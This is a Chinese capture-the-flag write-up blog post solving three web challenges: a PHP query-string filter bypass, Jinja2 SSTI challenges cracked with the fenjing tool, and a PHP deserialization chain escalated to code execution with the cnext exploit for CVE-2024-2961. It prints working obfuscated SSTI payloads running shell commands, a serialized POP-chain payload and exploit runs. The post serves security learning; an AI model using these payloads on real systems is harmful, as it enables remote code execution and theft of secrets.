NSILAB淘汰赛复现

Web

1.Sign in

创建实例查看源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
php
Flag is not here!

<?php
error_reporting(0);
include_once 'flag.php';
if ($_SERVER['QUERY_STRING']) {
    if (preg_match("/[A-Za-z]+/", $_SERVER['QUERY_STRING'])) {
        die("I hate English!");
    }
    if (substr(md5($_POST['nsilab']), 0, 4) !== "ba3f" || $_GET['hi'] !== "web") {
        die("Oops! It's wrong!");
    }
    if ($_COOKIE['user'] !== 'admin') {
        die("You are not admin!");
    }
    locate();
} else {
    highlight_file(__FILE__);
}
?>

经典的绕过签到题,我们发现三层过滤。

第一层使用正则表达式匹配了英文字母,因此我们在传递参数的时候要进行转码

第二层使用POST参数传递nsilab,要求nsilab值的MD5编码前四位是ba3f;

这里用脚本来匹配MD5

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
python
import hashlib

target = "ba3f"
for i in range(1000000):
    s = str(i)
    hash_md5 = hashlib.md5(s.encode()).hexdigest()
    if hash_md5.startswith(target):
        print(f"Found: {s} → {hash_md5}")
        break
  // Found: 35350 → ba3fe3d296f3e7269b66f163d31b3dc3

 

用GET方式传参hi = web,对这里进行URL编码,将参数名和值URL编码为十六进制形式:

  • hi%68%69(h的ASCII码是0x68,i是0x69)

  • web%77%65%62(w=0x77, e=0x65, b=0x62)

  • 构造查询字符串

    1
    2
    
    plaintext
    ?%68%69=%77%65%62
    

第三层在COOKIE传参更改user = admin

传参后发现弹出窗口提示flag要飞走了,使用BurpSuite抓包发现flag

2.ezssti

由题,得到这是一道SSTI

进去尝试传递49,返回“你是…Hacker!!!吗?”可知这里存在过滤。

使用焚靖来绕过waf自动SSTI

fenjing crack -u “http://contest.ctf.nefu.edu.cn:33099/“ -i name -m GET –detect-mode fast

成功绕过,ls一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$>> ls
INFO:[full_payload_gen] | Start generating final expression...
INFO:[payload_gen] | Great, string('ls') can be 'l'+'s'
INFO:[payload_gen] | Great, we generate os_popen_obj('ls')
INFO:[payload_gen] | Great, we generate os_popen_read('ls')
INFO:[cli] | Submit payload 
{{
    ((cycler.next['_'+'_'+'g'+'l'+'o'+'b'+'a'+'l'+'s'+'_'+'_']['_'+'_'+'g'+'e'+'t'+'i'+'t'+'e'+'m'+'_'+'_']('_'+'_'+'b'+'u'+'i'+'l'+'t'+'i'+'n'+'s'+'_'+'_'))['_'+'_'+'g'+'e'+'t'+'i'+'t'+'e'+'m'+'_'+'_']('_'+'_'+'i'+'m'+'p'+'o'+'r'+'t'+'_'+'_'))('o'+'s').popen('l'+'s').read()                                                                                                                                                             
    }}                                                                                                                                                                                                                    
                                                                                                                                                                                                                    

        <html>
        <head>
            <title>请告诉我你的名字~</title>
            <link href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
        </head>
        <body>
            <div class="container mt-5">
                <h2>请告诉我你的名字:</h2>
                <p>kimi no namai wa?</p>
                <form method="GET">
                    <div class="form-group">
                        <label for="name">Your Name:</label>
                        <input type="text" class="form-control" id="name" name="name" placeholder="Type Your Name Here">
                    </div>
                    <button type="submit" class="btn btn-primary">Submit</button>
                </form>
                <div class="alert alert-info">你是...
app.py

吗?</div>
            </div>
        </body>
        </html>

只发现了 app.py

ls -a 同样只有app.py

用cd .. && ls -a 到根目录下看看

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
$>> cd .. && ls -a
INFO:[full_payload_gen] | Start generating final expression...
INFO:[payload_gen] | Great, string('cd .. && ls -a') can be 'c'+'d'+' '+'.'+'.'+' '+'&'+'&'+' '+'l'+'s'+' '+'-'+'a'
INFO:[payload_gen] | Great, we generate os_popen_obj('cd .. && ls -a')
INFO:[payload_gen] | Great, we generate os_popen_read('cd .. && ls -a')
INFO:[cli] | Submit payload 
{{
    ((cycler.next['_'+'_'+'g'+'l'+'o'+'b'+'a'+'l'+'s'+'_'+'_']['_'+'_'+'g'+'e'+'t'+'i'+'t'+'e'+'m'+'_'+'_']('_'+'_'+'b'+'u'+'i'+'l'+'t'+'i'+'n'+'s'+'_'+'_'))['_'+'_'+'g'+'e'+'t'+'i'+'t'+'e'+'m'+'_'+'_']('_'+'_'+'i'+'m'+'p'+'o'+'r'+'t'+'_'+'_'))('o'+'s').popen('c'+'d'+' '+'.'+'.'+' '+'&'+'&'+' '+'l'+'s'+' '+'-'+'a').read()                                                                                                             
    }}                                                                                                                                                                                                                    
                                                                                                                                                                                                                    

        <html>
        <head>
            <title>请告诉我你的名字~</title>
            <link href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
        </head>
        <body>
            <div class="container mt-5">
                <h2>请告诉我你的名字:</h2>
                <p>kimi no namai wa?</p>
                <form method="GET">
                    <div class="form-group">
                        <label for="name">Your Name:</label>
                        <input type="text" class="form-control" id="name" name="name" placeholder="Type Your Name Here">
                    </div>
                    <button type="submit" class="btn btn-primary">Submit</button>
                </form>
                <div class="alert alert-info">你是...
.
..
.dockerenv
.flll4ggggg
app
bin
dev
etc
home
lib
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var

吗?</div>
            </div>
        </body>
        </html>

发现.flll4gggg文件,cat一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$>> cat /.flll4ggggg
INFO:[full_payload_gen] | Start generating final expression...
INFO:[payload_gen] | Great, string('cat /.flll4ggggg') can be 'c'+'a'+'t'+' '+'/'+'.'+'f'+'l'+'l'+'l'+'4'+'g'+'g'+'g'+'g'+'g'
INFO:[payload_gen] | Great, we generate os_popen_obj('cat /.flll4ggggg')
INFO:[payload_gen] | Great, we generate os_popen_read('cat /.flll4ggggg')
INFO:[cli] | Submit payload 
{{
    ((cycler.next['_'+'_'+'g'+'l'+'o'+'b'+'a'+'l'+'s'+'_'+'_']['_'+'_'+'g'+'e'+'t'+'i'+'t'+'e'+'m'+'_'+'_']('_'+'_'+'b'+'u'+'i'+'l'+'t'+'i'+'n'+'s'+'_'+'_'))['_'+'_'+'g'+'e'+'t'+'i'+'t'+'e'+'m'+'_'+'_']('_'+'_'+'i'+'m'+'p'+'o'+'r'+'t'+'_'+'_'))('o'+'s').popen('c'+'a'+'t'+' '+'/'+'.'+'f'+'l'+'l'+'l'+'4'+'g'+'g'+'g'+'g'+'g').read()                                                                                                     
    }}                                                                                                                                                                                                                    
                                                                                                                                                                                                                    

        <html>
        <head>
            <title>请告诉我你的名字~</title>
            <link href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
        </head>
        <body>
            <div class="container mt-5">
                <h2>请告诉我你的名字:</h2>
                <p>kimi no namai wa?</p>
                <form method="GET">
                    <div class="form-group">
                        <label for="name">Your Name:</label>
                        <input type="text" class="form-control" id="name" name="name" placeholder="Type Your Name Here">
                    </div>
                    <button type="submit" class="btn btn-primary">Submit</button>
                </form>
                <div class="alert alert-info">你是...
nsilab{71e70fed-9cf5-48d3-aa28-13c3ebaa3ebb}

吗?</div>
            </div>
        </body>
        </html> 

得到flag

同时我也在NSSCTF上找到同样使用焚靖的SSTI,这里记录一下:

[HZNUCTF 2023 preliminary]flask

创建实例发现确实是SSTI,但是它会把传递的所有参数都反写

1
2
3
http://node5.anna.nssctf.cn:21944/?name={a+b}
回显:
hello! }b a{

所以我们需要写个脚本来处理一下我们的输入

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
python
from flask import Flask, request, jsonify
import requests

app = Flask(__name__)


@app.route('/proxy', methods=['GET'])
def proxy():
    name = request.args.get('name')

    # 1. 验证 name 参数是否有效
    if not name:
        return jsonify(error="Missing 'name' parameter"), 400

    try:
        reversed_name = name[::-1]  # 反转名字
        result = to_proxy(reversed_name)
        return result
    except Exception as e:
        return jsonify(error=str(e)), 500


def to_proxy(name):
    base_url = "http://node5.anna.nssctf.cn:21944/"
    params = {'name': name}  # 使用参数字典避免手动拼接

    try:
        # 2. 使用 requests 的参数化 URL 并设置超时
        resp = requests.get(base_url, params=params, timeout=5)
        resp.raise_for_status()  # 检查 HTTP 错误(如 404、500)
        return resp.text
    except requests.exceptions.RequestException as e:
        raise Exception(f"Proxy request failed: {str(e)}")


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=30000, debug=False)

然后使用焚靖

fenjing crack -u “http://198.18.0.1:30000/proxy” -i name -m GET –detect-mode fast

ls 发现只有

hello! app.py
require.txt

env看看环境变量

$>> env
INFO:[full_payload_gen] | Start generating final expression...
INFO:[payload_gen] | Great, string('env') can be 'e'+'n'+'v'
INFO:[payload_gen] | Great, we generate os_popen_obj('env')
INFO:[payload_gen] | Great, we generate os_popen_read('env')
INFO:[cli] | Submit payload {%print (((((cycler|attr('n'+'e'+'x'+'t')|attr('_'+'_'+'g'+'l'+'o'+'b'+'a'+'l'+'s'+'_'+'_')|attr('_'+'_'+'g'+'e'+'t'+'i'+'t'+'e'+'m'+'_'+'_'))('_'+'_'+'b'+'u'+'i'+'l'+'t'+'i'+'n'+'s'+'_'+'_')|attr('_'+'_'+'g'+'e'+'t'+'i'+'t'+'e'+'m'+'_'+'_'))('_'+'_'+'i'+'m'+'p'+'o'+'r'+'t'+'_'+'_'))('o'+'s')|attr('p'+'o'+'p'+'e'+'n'))('e'+'n'+'v')|attr('r'+'e'+'a'+'d'))()%}
hello! HOSTNAME=8f82eec3db4b4210
PYTHON_PIP_VERSION=20.1
HOME=/root
GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568
WERKZEUG_SERVER_FD=3
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/1fe530e9e3d800be94e04f6428460fc4fb94f5a9/get-pip.py
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LANG=C.UTF-8
PYTHON_VERSION=3.8.2
PWD=/app
PYTHON_GET_PIP_SHA256=ce486cddac44e99496a702aa5c06c5028414ef48fdfd5242cd2fe559b13d4348
FLAG=NSSCTF{f9f794c5-47f3-47b2-b473-4881097d212f}

得到flag

3.fileread

提示cnext

cnext是 PHP利用GNU C Iconv将文件读取变成RCE(CVE-2024-2961)

GNU C 是一个标准的ISO C依赖库。在GNU C中,iconv()函数2.39及以前存在一处缓冲区溢出漏洞,这可能会导致应用程序崩溃或覆盖相邻变量。

如果一个PHP应用中存在任意文件读取漏洞,攻击者可以利用iconv()的这个CVE-2024-2961漏洞,将其提升为代码执行漏洞。

先来看看反序列化

源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
class Smile {
    public $hello = '';
    public $user = 'guest';
    function show() {
        if ($this->user == 'adm1n') {
            echo 'Hello admin, here is your flag: '.$this->hello->flag;
        } else {
            echo 'Hello '.$this->user;
            highlight_file(__FILE__);
        }
    }
    function __destruct() {
        $this->show();
    }
    function __invoke() {
        if (preg_match('/^hello$/', $this->hello)) {
            echo "flag就是那个在根目录下的flag";
        }
    }
}

class Lucky {
    public $chmod = '0700';
    public $filename = '';
    function __wakeup() {
        $this->filename = $_GET['file'];
    }
    function __toString() {
        echo "Your File: ".file_get_contents($this->filename)."\n\n";
        return 'huh?';
    }
}

class Happy {
    public $func = '';
    public $param = [];
    function call_func($func) {
        if (!$this->param) {
            call_user_func('phpinfo');
        } else {
            call_user_func($func, "locked");
        }
    }
    function __get($var) {
        if ($this->func) {
            $this->call_func($this->func);
        } else {
            die();
        }
        return 'hacker!';
    }
}

function Yeah($ser) {
    unserialize(base64_decode($ser));
}

@error_reporting(0);
if (!empty($_GET)) {
    $param = $_GET['p'];
    call_user_func("Yeah", $param);
} else {
    $face = new Smile();
    die();
}
?>

pop链是__destruct()-> __get -> __invoke() -> __toString()

1
2
3
4
php
echo base64_encode(serialize(new Smile(new Happy(new Smile(new Lucky('0700',''),''),'114'),'adm1n')));

//Tzo1OiJTbWlsZSI6Mjp7czo1OiJoZWxsbyI7Tzo1OiJIYXBweSI6Mjp7czo0OiJmdW5jIjtPOjU6IlNtaWxlIjoyOntzOjU6ImhlbGxvIjtPOjU6Ikx1Y2t5IjoyOntzOjU6ImNobW9kIjtzOjQ6IjA3MDAiO3M6ODoiZmlsZW5hbWUiO3M6MDoiIjt9czo0OiJ1c2VyIjtzOjA6IiI7fXM6NToicGFyYW0iO3M6MzoiMTE0Ijt9czo0OiJ1c2VyIjtzOjU6ImFkbTFuIjt9

我们使用可以自动利用cnext漏洞的脚本:

CNEXT exploits

改下脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
python

......

class Remote:
def __init__(self, url: str) -> None:
self.url = url
self.session = Session()
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
return self.session.get("http://contest.ctf.nefu.edu.cn:33069/?
p=Tzo1OiJTbWlsZSI6Mjp7czo1OiJoZWxsbyI7Tzo1OiJIYXBweSI6Mjp7czo0OiJmdW5jIjtPOjU6IlNt
aWxlIjoyOntzOjU6ImhlbGxvIjtPOjU6Ikx1Y2t5IjoyOntzOjU6ImNobW9kIjtzOjQ6IjA3MDAiO3M6OD
oiZmlsZW5hbWUiO3M6MDoiIjt9czo0OiJ1c2VyIjtzOjU6Imd1ZXN0Ijt9czo1OiJwYXJhbSI7czozOiIx
MTEiO31zOjQ6InVzZXIiO3M6NToiYWRtMW4iO30=", params={"file": path})
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search("Your File: (.*)\n\n", flags=re.S).group(1)
return base64.decode(data)

......
bash
┌──(kalikali)-[~/cnext-exploits]
└─$ python3 cnext-exploit.py http://contest.ctf.nefu.edu.cn:33100/ 'ls -a / > 1.txt'
[*] The data:// wrapper works
[*] The php://filter/ wrapper works
[*] The zlib extension is enabled
[+] Exploit preconditions are satisfied
[*] Using 0x7fdfdb200040 as heap

     EXPLOIT  SUCCESS 

查看根目录

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
.
..
.dockerenv
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
readflag
root
run
sbin
srv
start.sh
sys
tmp
usr
var

这里有readflag,听夏师傅说这里是SUID,所以直接运行readflag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
bash
┌──(kali㉿kali)-[~/cnext-exploits]
└─$ python3 cnext-exploit.py http://contest.ctf.nefu.edu.cn:33100/ '/./readflag > 1.txt' 
[*] The data:// wrapper works
[*] The php://filter/ wrapper works
[*] The zlib extension is enabled
[+] Exploit preconditions are satisfied
[*] Using 0x7fdfdb200040 as heap

     EXPLOIT  SUCCESS 

得到flag

Licensed under CC BY-NC-SA 4.0
Build by Oight
使用 Hugo 构建
主题 StackJimmy 设计